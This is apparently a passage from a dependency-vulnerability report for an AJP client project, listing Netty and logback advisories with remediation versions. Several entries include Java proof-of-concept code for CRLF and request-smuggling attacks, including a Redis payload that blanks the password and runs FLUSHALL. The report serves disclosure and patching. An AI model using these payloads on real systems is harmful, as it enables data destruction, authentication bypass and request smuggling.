// Malicious content: inject FLUSHALL after a benign PING
String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted
InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output
String[] commands = encoded.split("\r\n");
System.out.println("Number of commands parsed by Redis: " + commands.length);
for (int i = 0; i < commands.length; i++) {
if (!commands[i].isEmpty()) {
System.out.println(" Command " + (i + 1) + ": " + commands[i]);
}
}
boolean vulnerable = commands.length > 1;
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
System.out.println();
}
/**
* Test 2: SimpleString Response Injection
* When Netty acts as a Redis proxy/middleware, a malicious SimpleString
* can inject fake responses to the downstream client.
*/
static void testSimpleStringInjection() {
System.out.println("[TEST 2] SimpleString Response CRLF Injection");
System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK
String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: SimpleStringRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type:
// '+' = Simple String, '$' = Bulk String
// A client parsing this would see:
// 1. "+OK\r\n" -> Simple String "OK"
// 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!)
boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
System.out.println();
}
/**
* Test 3: Error Message Injection
* Similar to SimpleString but with error messages.
*/
static void testErrorMessageInjection() {
System.out.println("[TEST 3] Error Message CRLF Injection");
System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTED_OK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
System.out.println();
}
}
Remediation
Upgrade io.netty:netty-codec-redis to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.
Note:
This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.129.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.
PoC
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.
PoC
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
new
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in HttpObjectDecoder.java, which skips whitespace as well as bytes 0x00-0x1F and 0x7F. An attacker can cause request-boundary confusion in pipelined or multiplexed transports by sending malicious HTTP requests containing arbitrary control characters, which may be interpreted differently by front-end components.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.135.Final, 4.2.15.Final or higher.
References
medium severity
new
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforcement of the advertised MAX_CONCURRENT_STREAMS setting in HTTP/2 connections in AbstractHttp2ConnectionHandlerBuilder. An attacker can exhaust server resources by opening a large number of concurrent streams over a single TCP connection, potentially leading to service disruption.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.
References
medium severity
new
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the handling of the SETTINGS_MAX_HEADER_LIST_SIZE setting, when acting as a server. An attacker can cause the server to trigger exceptions during response header writing, by sending artificially small header size limits that block other clients' requests.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.
References
medium severity
new
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the DelegatingDecompressorFrameListener function. An attacker can cause memory exhaustion and potentially crash the JVM by sending specially crafted HTTP/2 frames that trigger a resource leak.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-mqtt
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-mqtt@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of size limits applied to the Properties section during the decoding process. An attacker can cause excessive CPU and memory consumption by sending MQTT messages with extremely large Properties sections.
Remediation
Upgrade io.netty:netty-codec-mqtt to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-smtp
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-smtp@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.128.Final.
Overview
Affected versions of this package are vulnerable to CRLF Injection via insufficient input validation in the DefaultSmtpRequest process. An attacker can inject arbitrary SMTP commands by supplying malicious parameters containing CRLF sequences, allowing the sending of forged emails that appear to originate from a trusted server.
Remediation
Upgrade io.netty:netty-codec-smtp to version 4.1.128.Final, 4.2.7.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.
Note:
This is only exploitable if all of the following conditions are met:
The application uses
DefaultHttpRequestorDefaultFullHttpRequest;The request object is created first and later modified through
setUri();The value passed into
setUri()is attacker-controlled or attacker-influenced;The object is eventually serialized by
HttpRequestEncoderorRtspEncoder.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-handler-proxy
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-handler-proxy@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.
Notes:
This is only exploitable if the application uses
HttpProxyHandlerwith user-influencedoutboundHeadersand does not perform its own CRLF sanitization on header values.This is caused due to an incomplete fix for CVE-2025-67735.
PoC
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
Remediation
Upgrade io.netty:netty-handler-proxy to version 4.1.133.Final, 4.2.13.Final or higher.
References
medium severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: ch.qos.logback:logback-classic@1.3.15
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › ch.qos.logback:logback-classic@1.3.15 › ch.qos.logback:logback-core@1.3.15Remediation: Upgrade to ch.qos.logback:logback-classic@1.3.16.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the logback.xml configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.3.16, 1.5.19 or higher.
References
medium severity
new
- Vulnerable module: io.netty:netty-transport-native-unix-common
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-transport-native-unix-common@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the netty_unix_socket_recvFd function. An attacker can cause file descriptor leaks by sending two file descriptors at once via a Unix domain socket, leading to resource exhaustion and potential denial of service.
Note:
This is only exploitable if the application opts into DomainSocketReadMode.FILE_DESCRIPTORS.
Remediation
Upgrade io.netty:netty-transport-native-unix-common to version 4.1.135.Final, 4.2.15.Final or higher.
References
medium severity
- Module: ch.qos.logback:logback-classic
- Introduced through: ch.qos.logback:logback-classic@1.3.15
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › ch.qos.logback:logback-classic@1.3.15
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: ch.qos.logback:logback-core
- Introduced through: ch.qos.logback:logback-classic@1.3.15
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › ch.qos.logback:logback-classic@1.3.15 › ch.qos.logback:logback-core@1.3.15
Dual license: EPL-1.0, LGPL-2.1
low severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: ch.qos.logback:logback-classic@1.3.15
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › ch.qos.logback:logback-classic@1.3.15 › ch.qos.logback:logback-core@1.3.15Remediation: Upgrade to ch.qos.logback:logback-classic@1.5.25.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores during the configuration file processing. An attacker can instantiate arbitrary classes already present on the class path by compromising an existing configuration file.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.5.25 or higher.